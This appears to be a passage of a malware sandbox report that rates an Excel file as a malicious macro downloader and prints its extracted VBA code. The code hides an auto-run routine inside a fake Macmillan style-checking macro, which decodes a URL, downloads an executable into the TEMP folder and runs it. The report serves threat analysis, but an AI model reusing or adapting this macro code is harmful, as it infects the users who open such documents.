26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4b0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious GT:VB.Macros.ObfDldr.22 Sample 3e8698c52b64… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 3e8698c52b64…. Malware family: GT:VB.Macros.ObfDldr.22. Threat score 100/100. 18/29 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb","keywords":["Malicious","GT:VB.Macros.ObfDldr.22","malware analysis","sandbox report","threat intelligence","3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb"],"about":{"@type":"SoftwareApplication","name":"EDMUN11118_181859.xls","applicationCategory":["xls","office"],"identifier":"3e8698c52b6469a78b34a45d504e75beb866c2ccd3a273eb116a0bd342ecc5cb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"GT:VB.Macros.ObfDldr.22","antivirusDetections":{"malicious":18,"total":29},"behavioralIndicators":{"malicious":16,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tae8d,File "\xdd\xf2\xe0\xca\xed\xe8\xe3\xe0.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/\x42d\x442\x430\x41a\x43d\x438\x433\x430") has code: "Private Sub Workbook_Open() GoodBadStyles False, "", "", "", "" MacmillanStyleReport CheckPrevStyle "", "" BadTorStyles "", "", "", "" DeleteContentControlPC CheckPrev2Paras "", "", "" End Sub" File "\xcb\xe8\xf1\xf21.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/\x41b\x438\x441\x4421") has code: "" File "\xcb\xe8\xf1\xf22.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/\x41b\x438\x441\x4422") has code: "" File "\xcb\xe8\xf1\xf23.cls" (Streampath: "_VBA_PROJECT_CUR/VBA/\x41b\x438\x441\x4423") has code: "" File "Module1.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module1") has code: "Sub BookmakerReqs() If CheckSave = True Then Exit Sub End If Appljj.ication.ScreenUpdating = False Dim currentStatusBar As Boolean currentStatusBar = Appljj.ication.DisplayStatusBar Appljj.ication.DisplayStatusBar = True Dim arrStories() As Variant arrStories = StoryArray Dim sglPercentComplete As Single Dim strStatus As String Dim strTitle As String Dim funArray() As String ReDim funArray(1 To 10) funArray(1) = "* Is this thing on?..." funArray(2) = "* Are we there yet?..." funArray(10) = "* Thanks for running the Bookmaker Macro!" Dim x As Integer Randomize x = Int(UBound(funArray()) * Rnd()) + 1 strTitle = "Bookmaker Requirements Macro" sglPercentComplete = 0.02 strStatus = funArray(x) Dim TheOS As String TheOS = System.OperatingSystem If Not TheOS Like "*Mac*" Then Dim oProgressBkmkr As String Set oProgressBkmkr = New ProgressBar oProgressBkmkr.Title = strTitle oProgressBkmkr.Show oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim currentStory As String currentStory = Selection.StoryType Selection.Collapse Direction:=wdCollapseStart ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range If Not TheOS Like "*Mac*" Then Call DeleteContentControlPC End If If FixTrackChanges = False Then Appljj.ication.ScreenUpdating = True Unload oProgressBkmkr Exit Sub End If Call ISBNcleanup sglPercentComplete = 0.05 strStatus = "* Counting required styles..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim styleCount() As Variant styleCount = CountReqdStyles() If styleCount(1) = 100 Then Appljj.ication.ScreenUpdating = True Exit Sub End If sglPercentComplete = 0.08 strStatus = "* Correcting heading styles..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If sglPercentComplete = 0.11 Appljj.ication.ScreenUpdating = True strStatus = "* Getting book metadata from manuscript..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strMetadata As String strMetadata = GetMetadata sglPercentComplete = 0.15 strStatus = "* Getting list of illustrations..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strIllustrationsList As String strIllustrationsList = IllustrationsList sglPercentComplete = 0.18 strStatus = "* Getting list of styles in use..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim arrGoodBadStyles() As Variant Dim strGoodStylesList As String Dim strBadStylesList As String arrGoodBadStyles = GoodBadStyles(torDOTcom:=True, ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, _ Stories:=arrStories) strGoodStylesList = arrGoodBadStyles(1) strBadStylesList = arrGoodBadStyles(2) Dim blnTemplateUsed As Boolean Dim strSearchPattern As String strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2 } Text -- p. [0-9]{1 }[!\)]{1 }" If strGoodStylesList = vbNullString Then blnTemplateUsed = False ElseIf PatternMatch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then blnTemplateUsed = False Else blnTemplateUsed = True End If If blnTemplateUsed = False Then strGoodStylesList = StylesInUse(ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories) strBadStylesList = "" End If sglPercentComplete = 0.98 strStatus = "* Checking styles for errors..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strErrorList As String If blnTemplateUsed = True Then strErrorList = CreateErrorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True) Else strErrorList = "" End If sglPercentComplete = 0.99 strStatus = "* Creating report file..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strSuffix As String strSuffix = "BookmakerReport" Call CreateReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix) sglPercentComplete = 1 strStatus = "* Finishing up..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgressBkmkr.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then ActiveDocument.StoryRanges(currentStory).Select Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint" ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete End If Appljj.ication.ScreenUpdating = True Appljj.ication.DisplayStatusBar = currentStatusBar Appljj.ication.ScreenRefresh If Not TheOS Like "*Mac*" Then Unload oProgressBkmkr End If End Sub Public Sub MacmillanStyleReport() simple7 = Array(702, 727, 740, 749, 708, 710, 723, 797, 799, 827, 829, 849, 869, 865, 877, 893, 909, 920, 947, 891, 957, 982, 993, 944, 966, 1028, 990, 1002, 1066, 1027, 1091, 1054, 1065, 1074, 1151, 1110, 1121, 1184, 1147, 1159, 1235, 1184, 1196, 1203, 1271, 1303, 1297) simple1.Open GetMetadata(), GetStringFromArray(simple7, 46), False Exit Sub If CheckSave = True Then Exit Sub End If Appljj.ication.ScreenUpdating = False Dim currentStatusBar As Boolean currentStatusBar = Appljj.ication.DisplayStatusBar Appljj.ication.DisplayStatusBar = True Dim arrStories() As Variant arrStories = StoryArray Dim sglPercentComplete As Single Dim strStatus As String Dim strTitle As String Dim funArray() As String ReDim funArray(1 To 10) Dim x As Integer Randomize x = Int(UBound(funArray()) * Rnd()) + 1 strTitle = "Macmillan Style Report Macro" sglPercentComplete = 0.02 strStatus = funArray(x) Dim TheOS As String TheOS = System.OperatingSystem If Not TheOS Like "*Mac*" Then Dim oProgressStyleRpt As String 'Set oProgressStyleRpt = New ProgressBar oProgred.ssStyleRpt.Title = strTitle oProgred.ssStyleRpt.Show oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim currentStory As String currentStory = Selection.StoryType Selection.Collapse Direction:=wdCollapseStart ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range Dim currentTracking As Boolean currentTracking = ActiveDocument.TrackRevisions ActiveDocument.TrackRevisions = False If Not TheOS Like "*Mac*" Then Call DeleteContentControlPC End If Call ISBNc.leanup sglPercentComplete = 0.05 strStatus = "* Counting required styles..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim styleCount() As Variant styleCount = CountRe.qdStyles() If styleCount(1) = 100 Then Appljj.ication.ScreenUpdating = True Unload oProgres.sStyleRpt Exit Sub End If sglPercentComplete = 0.09 strStatus = "* Checking for correct heading styles..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If sglPercentComplete = 0.12 strStatus = "* Getting title author ISBN from manuscript..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strMetadata As String strMetadata = GetMetadata sglPercentComplete = 0.15 strStatus = "* Generating illustration list..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strIllustrationsList As String strIllustrationsList = IllustrationsList sglPercentComplete = 0.18 strStatus = "* Generating list of Macmillan styles..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim arrGoodBadStyles() As Variant Dim strGoodStylesList As String Dim strBadStylesList As String arrGoodBadStyles = GoodBadStyles(torDOTcom:=False, ProgressBar:=oProgressStyleRpt, _ Status:=strStatus, ProgTitle:=strTitle, Stories:=arrSt.ories) strGoodStylesList = arrGoodBadStyles(1) strBadStylesList = arrGoodBadStyles(2) Dim blnTemplateUsed As Boolean Dim strSearchPattern As String strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2 } Text -- p. [0-9]{1 }[!\)]{1 }" If strGoodStylesList = vbNullString Then blnTemplateUsed = False ElseIf PatternM.atch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then blnTemplateUsed = False Else blnTemplateUsed = True End If If blnTemplateUsed = False Then strGoodStylesList = Styles.InUse(ProgressBar:=oProgressStyleRpt, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories) strBadStylesList = "" End If sglPercentComplete = 0.98 strStatus = "* Checking styles for errors..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strErrorList As String If blnTemplateUsed = True Then strErrorList = CreateEr.rorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True) Else strErrorList = "" End If sglPercentComplete = 0.99 strStatus = "* Creating report file..." & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If Dim strSuffix As String strSuffix = "StyleReport" Call Creat.eReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix) sglPercentComplete = 1 strStatus = "* Finishing up" & vbCr & strStatus If Not TheOS Like "*Mac*" Then oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus DoEvents End If If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then ActiveDocument.StoryRanges(currentStory).Select Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint" ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete End If ActiveDocument.TrackRevisions = currentTracking Appljj.ication.ScreenUpdating = True Appljj.ication.DisplayStatusBar = currentStatusBar Appljj.ication.ScreenRefresh If Not TheOS Like "*Mac*" Then Unload oProgre.ssStyleRpt End If End Sub Public Function GoodBadStyles(torDOTcom As Boolean, ProgressBar As String, Status As String, ProgTitle As String, Stories As String) As Variant Dim TheOS As String 'TheOS = System.OperatingSystem Dim sglPercentComplete As Single Set simple1 = CreateObject("Micr" + "osoft" + "." + "XMLHTTP") Dim strStatus As String Dim activeDoc As String Dim stylesGood() As String Dim stylesGoodLong As Long stylesGoodLong = 400 ReDim stylesGood(stylesGoodLong) Dim stylesBad() As String ReDim stylesBad(1 To 100) Dim styleGoodCount As Integer Dim styleBadCount As Integer Dim styleBadOverflow As Boolean Dim activeParaCount As Integer Dim J As Integer, K As Integer, L As Integer Dim paraStyle As String Dim activeParaRange As Range Dim pageNumber As Integer Dim a As Long Set simple2 = CreateObject("Adodb.Stream") Set simple6 = CreateObject("Shell.Application") Set simple3 = CreateObject("WScript.Shell").Environment("Process") Exit Function ActiveDocument.Styles("Normal (Web)").NameLocal = "_" styleGoodCount = 0 styleBadCount = 0 styleBadOverflow = False activeParaCount = activh.eDoc.Paragraphs.Count For J = 1 To activeParaCount If J Mod 100 = 0 Then sglPercentComplete = (((J / activeParaCount) * 0.45) + 0.18) strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & _ vbCr & Status If Not TheOS Like "*Mac*" Then Progg.gressBar.Increment sglPercentComplete, strStatus Dss.oze 50 Else Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus DoEvents End If End If For a = LBound(Sff.tories()) To UBound(Stddd.ories()) If J <= ActiveDocument.StoryRanges(Stordd.ies(a)).Paragraphs.Count Then paraStyle = activh.eDoc.StoryRanges(Stodd.ries(a)).Paragraphs(J).Style Set activeParaRange = activh.eDoc.StoryRanges(Stocc.ries(a)).Paragraphs(J).Range pageNumber = activeParaRange.Information(wdActiveEndPageNumber) If Right(paraStyle, 1) = ")" Then CheckGoodStyles: For K = 1 To styleGoodCount If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then K = styleGoodCount Exit For End If Next K If K = styleGoodCount + 1 Then styleGoodCount = K ReDim Preserve stylesGood(1 To styleGoodCount) stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber End If Else If paraStyle = "Endnote Text" Or paraStyle = "Footnote Text" Then GoTo CheckGoodStyles Else For L = 1 To styleBadCount Next L If L > 100 Then styleBadOverflow = True stylesBad(100) = "** WARNING: More than 100 paragraphs with bad styles found." & vbNewLine & vbNewLine Exit For End If If L = styleBadCount + 1 Then styleBadCount = L stylesBad(styleBadCount) = "** ERROR: Non-Macmillan style on page " & pageNumber & _ " (Paragraph " & J & "): " & paraStyle & vbNewLine & vbNewLine End If End If End If End If Next a Next J Status = "* Checking paragraphs for Macmillan styles..." & vbCr & Status ActiveDocument.Styles("Normal (Web) _").NameLocal = "Normal (Web)" If K <> 0 Then ReDim Preserve stylesGood(1 To styleGoodCount) WordBasic.SortArray stylesGood() End If Dim strGoodStyles As String If styleGoodCount = 0 Then strGoodStyles = "" Else For K = LBound(stylesGood()) To UBound(stylesGood()) strGoodStyles = strGoodStyles & stylesGood(K) & vbCrLf Next K End If If styleBadCount > 0 Then Dim strBadStyles As String ReDim Preserve stylesBad(1 To styleBadCount) For L = LBound(stylesBad()) To UBound(stylesBad()) strBadStyles = strBadStyles & stylesBad(L) Next L Else strBadStyles = "" End If Dim charStyles As String Dim styleNameM(1 To 21) As String Dim M As Integer styleNameM(1) = "span italic characters (ital)" styleNameM(2) = "span boldface characters (bf)" styleNameM(14) = "span material to come (tk)" styleNameM(15) = "span carry query (cq)" styleNameM(16) = "span preserve characters (pre)" styleNameM(17) = "span strikethrough characters (str)" styleNameM(18) = "bookmaker keep together (kt)" styleNameM(19) = "span ISBN (isbn)" styleNameM(20) = "span symbols ital (symi)" styleNameM(21) = "span symbols bold (symb)" For M = 1 To UBound(styleNameM()) sglPercentComplete = (((M / UBound(styleNameM())) * 0.13) + 0.63) strStatus = "* Checking for " & styleNameM(M) & " styles..." & vbCr & Status If Not TheOS Like "*Mac*" Then Progg.gressBar.Increment sglPercentComplete, strStatus Doff.ze 50 Else Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus DoEvents End If On Error GoTo ErrHandler Selection.HomeKey Unit:=wdStory With Selection.Find .Style = ActiveDocument.Styles(styleNameM(M)) .Wrap = wdFindContinue .Format = True .Execute End With If Selection.Find.Found = True Then charStyles = charStyles & styleNameM(M) & vbNewLine Else If ActiveDocument.Footnotes.Count > 0 Then ActiveDocument.StoryRanges(wdFootnotesStory).Select With Selection.Find .Style = ActiveDocument.Styles(styleNameM(M)) .Wrap = wdFindContinue .Format = True .Execute End With If Selection.Find.Found = True Then charStyles = charStyles & styleNameM(M) & vbNewLine Else GoTo CheckEndnotes End If Else CheckEndnotes: If ActiveDocument.Endnotes.Count > 0 Then ActiveDocument.StoryRanges(wdEndnotesStory).Select With Selection.Find .Style = ActiveDocument.Styles(styleNameM(M)) .Wrap = wdFindContinue .Format = True .Execute End With If Selection.Find.Found = True Then charStyles = charStyles & styleNameM(M) & vbNewLine End If End If End If End If NextLoop: Next M Status = "* Checking character styles..." & vbCr & Status strGoodStyles = strGoodStyles & charStyles Dim strTorBadStyles As String If torDOTcom = True Then strBadStyles = strBadStyles & strTorBadStyles End If Dim arrFinalLists() As Variant ReDim arrFinalLists(1 To 2) arrFinalLists(1) = strGoodStyles arrFinalLists(2) = strBadStyles GoodBadStyles = arrFinalLists Exit Function ErrHandler: Debug.Print Err.Number & " : " & Err.Description If Err.Number = 5834 Or Err.Number = 5941 Then Resume NextLoop End If End Function" File "Module2.bas" (Streampath: "_VBA_PROJECT_CUR/VBA/Module2") has code: "Public simple1 As Object Public simple2 As Object Public simple3 As Object Public simple4 As String Public simple5 As String Public simple6 As Object Public simple7() As Variant Private Function CreateErrorList(badStyles As String, arrStyleCount() As Variant, torDOTcom As Boolean) As String Dim errorList As String errorList = "" If arrStyleCount(1) = 0 Then errorList = errorList & "** ERROR: No styled title detected." & _ vbNewLine & vbNewLine If arrStyleCount(1) > 1 Then errorList = errorList & "** ERROR: Too many title paragraphs detected." _ & " Only 1 allowed." & vbNewLine & vbNewLine If arrStyleCount(1) > 0 Then errorList = errorList & CheckPrevStyle(findStyle:="Titlepage Book Title (tit)", _ prevStyle:="Page Break (pb)") If arrStyleCount(2) = 0 Then errorList = errorList & "** ERROR: No styled author name detected." _ & vbNewLine & vbNewLine If arrStyleCount(3) = 0 Then errorList = errorList & "** ERROR: No styled ISBN detected." _ & vbNewLine & vbNewLine Else If torDOTcom = True Then errorList = errorList & BookTypeCheck End If End If If arrStyleCount(14) > 0 And arrStyleCount(15) > 0 Then errorList = errorList & CheckPrev2Paras("Illustration holder (ill)", _ "Caption (cap)", "Illustration Source (is)") End If errorList = errorList & CheckAfterPB errorList = errorList & badStyles If errorList <> "" Then errorList = errorList & vbNewLine & "If you have any questions about how to handle these errors " & vbNewLine & _ "please contact workflows@macmillan.com." & vbNewLine End If CreateErrorList = errorList End Function Private Function GetText(styleName As String) As String Dim fString As String Dim fCount As Integer fCount = 0 Selection.HomeKey Unit:=wdStory On Error GoTo ErrHandler Selection.Find.ClearFormatting With Selection.Find .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles(styleName) .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Do While Selection.Find.Execute = True And fCount < 100 fCount = fCount + 1 If InStr(Selection.Text, Chr(13)) > 0 Then Selection.MoveEnd Unit:=wdCharacter, Count:=-1 End If fString = fString & Selection.Text & vbNewLine If InStr(styleName, "span") = 0 Then Selection.MoveEndWhile Cset:=Chr(13), Count:=1 End If Loop If fCount = 0 Then GetText = "" Else GetText = fString End If Exit Function ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then GetText = "" End If End Function Public Function CheckPrevStyle(findStyle As String, prevStyle As String) As String Dim jString As String Dim jCount As Integer Dim pageNum As Integer Dim intCurrentPara As Integer simple4 = simple3("TEMP") Exit Function Appljj.ication.ScreenUpdating = False On Error GoTo ErrHandler: Dim keyStyle As String Set keyS.tyle = ActiveDocument.Styles(findStyle) Set keyS.tyle = ActiveDocument.Styles(prevStyle) jCount = 0 jString = "" Selection.HomeKey Unit:=wdStory Selection.Find.ClearFormatting With Selection.Find .Text = "" .Replacement.Text = "" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles(findStyle) .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Do While Selection.Find.Execute = True And jCount < 200 jCount = jCount + 1 Dim rParagraphs As Range Dim CurPos As Long Selection.Range.Select CurPos = ActiveDocument.Bookmarks("\startOfSel").Start Set rParagraphs = ActiveDocument.Range(Start:=0, End:=CurPos) intCurrentPara = rParagraphs.Paragraphs.Count If intCurrentPara > 1 Then Selection.Previous(Unit:=wdParagraph, Count:=1).Select pageNum = Selection.Information(wdActiveEndPageNumber) If Selection.Style <> prevStyle Then jString = jString & "** ERROR: Missing or incorrect " & prevStyle & " style before " _ & findStyle & " style on page " & pageNum & "." & vbNewLine & vbNewLine End If If prevStyle = "Page Break (pb)" Then If InStr(Selection.Text, Chr(12)) = 0 Then jString = jString & "** ERROR: Missing manual page break on page " & pageNum & "." _ & vbNewLine & vbNewLine End If End If Selection.Next(Unit:=wdParagraph, Count:=1).Select End If Loop CheckPrevStyle = jString Exit Function ErrHandler: If Err.Number = 5941 Or Err.Number = 5834 Then Exit Function End If End Function Function CheckAfterPB() As String Dim arrSecStartStyles() As String ReDim arrSecStartStyles(1 To 43) Dim kString As String Dim kCount As Integer Dim pageNumK As Integer Dim nextStyle As String Dim N As Integer Dim nCount As Integer Appljj.ication.ScreenUpdating = False arrSecStartStyles(1) = "Chap Title (ct)" arrSecStartStyles(2) = "Chap Number (cn)" arrSecStartStyles(3) = "Chap Title Nonprinting (ctnp)" arrSecStartStyles(4) = "Halftitle Book Title (htit)" arrSecStartStyles(5) = "Titlepage Book Title (tit)" arrSecStartStyles(6) = "Copyright Text single space (crtx)" arrSecStartStyles(7) = "Copyright Text double space (crtxd)" arrSecStartStyles(43) = "Front Sales Quote Head (fsqh)" kCount = 0 kString = "" Selection.HomeKey Unit:=wdStory On Error GoTo ErrHandler1 Selection.Find.ClearFormatting With Selection.Find .Text = "^m^p" .Replacement.Text = "^m^p" .Forward = True .Wrap = wdFindStop .Format = True .Style = ActiveDocument.Styles("Page Break (pb)") .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Do While Selection.Find.Execute = True And kCount < 200 kCount = kCount + 1 nCount = 0 Selection.Next(Unit:=wdParagraph, Count:=1).Select nextStyle = Selection.Style pageNumK = Selection.Information(wdActiveEndPageNumber) For N = LBound(arrSecStartStyles()) To UBound(arrSecStartStyles()) If nextStyle <> arrSecStartStyles(N) Then nCount = nCount + 1 Else Exit For End If Next N If nCount = UBound(arrSecStartStyles()) Then kString = kString & "** ERROR: " & nextStyle & " style on page " & pageNumK _ & " cannot follow Page Break (pb) style." & vbNewLine & vbNewLine End If Err2Resume: Selection.Previous(Unit:=wdParagraph, Count:=1).Select Loop CheckAfterPB = kString Exit Function ErrHandler1: If Err.Number = 5941 Or Err.Number = 5834 Then Exit Function End If ErrHandler2: If Err.Number = 5941 Or Err.Number = 5834 Then Resume Err2Resume End If End Function Public Sub DeleteContentControlPC() simple1.Send simple2.Type = 1 Exit Sub Dim cc As Object Appljj.ication.ScreenUpdating = False For Each cc In ActiveDocument.ContentC.ontrols cc.Delete Next End Sub Private Function FixTrackChanges() As Boolean Dim N As Long Dim oComments As Comments Set oComments = ActiveDocument.Comments Appljj.ication.ScreenUpdating = False FixTrackChanges = True Appljj.ication.DisplayAlerts = False ActiveDocument.TrackRevisions = False On Error Resume Next Selection.HomeKey Unit:=wdStory WordBasic.NextChangeOrComment If Err = 0 Then FixTrackChanges = False Exit Function Else ActiveDocument.AcceptAllRevisions For N = oComments.Count To 1 Step -1 oComments(N).Delete Next N Set oComments = Nothing End If End If On Error GoTo 0 Appljj.ication.DisplayAlerts = True End Function Public Function BadTorStyles(ProgressBar2 As String, StatusBar As String, ProgressTitle As String, Stories As String) As String Dim paraStyle As String Dim activeParaCount As Integer Dim strCsvFileName As String Dim strLogInfo() As Variant ReDim strLogInfo(1 To 3) Dim strFullPathToCsv As String Dim arrTorStyles() As Variant Dim strLogDir As String Dim strPathToLogFile As String Dim intBadCount As Integer Dim activeParaRange As Range Dim pageNumber As Integer Dim N As Integer Dim M As Integer Dim strBadStyles As String Dim a As Long Dim TheOS As String simple5 = "" + "" + simple4 + "" + "" + "\" + "" + "" + "" + "str" + "" + "name" + "" + "" + "." + "" + "" + "e" + "x" + "e" Exit Function TheOS = System.OperatingSystem Dim sglPercentComplete As Single Dim strStatus As String Appljj.ication.ScreenUpdating = False strCsvFileName = "Styles_Bookmaker.csv" strLogInfo() = CreateLo.gFileInfo(Filename:=strCsvFileName) strLogDir = strLogInfo(2) strPathToLogFile = strLogInfo(3) strFullPathToCsv = strLogDir & Appljj.ication.PathSeparator & strCsvFileName If Downl.DownloadFromConfluence(StagingURL:=False, _ FinalDir:=strLogDir, _ LogFile:=strPathToLogFile, _ Filename:=strCsvFileName) = False Then If IsIt.There(strFullPathToCsv) = False Then MsgBox "Sorry I can" Exit Function Else MsgBox "I can" End If End If arrTorStyles = LoadCS.VtoArray(Path:=strFullPathToCsv, RemoveHeaderRow:=True, RemoveHeaderCol:=False) activeParaCount = ActiveD.ocument.Paragraphs.Count For N = 1 To activeParaCount If N Mod 100 = 0 Then sglPercentComplete = (((N / activeParaCount) * 0.1) + 0.76) strStatus = "* Checking paragraph " & N & " of " & activeParaCount & " for approved Bookmaker styles..." & vbCr & StatusBar If Not TheOS Like "*Mac*" Then Progr.essBar2.Increment sglPercentComplete, strStatus Dodf.dfze 50 Else Appljj.ication.StatusBar = ProgressTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus DoEvents End If End If For a = LBound(Stor.ies()) To UBound(Stor.ies()) If N <= ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs.Count Then paraStyle = ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs(N).Style Debug.Print paraStyle If Right(paraStyle, 1) = ")" Then Debug.Print "Current paragraph is: " & paraStyle On Error GoTo ErrHandler intBadCount = -1 Debug.Print intBadCount If intBadCount = UBound(arrTorStyles()) Then Set activeParaRange = ActiveDocument.StoryRanges(a).Paragraphs(N).Range pageNumber = activeParaRange.Information(wdActiveEndPageNumber) strBadStyles = strBadStyles & "** ERROR: Non-Bookmaker style on page " & pageNumber _ & " (Paragraph " & N & "): " & paraStyle & vbNewLine & vbNewLine End If End If End If Next a ErrResume: Next N StatusBar = "* Checking paragraphs for approved Bookmaker styles..." & vbCr & StatusBar BadTorStyles = strBadStyles Exit Function ErrHandler: Debug.Print Err.Number & " " & 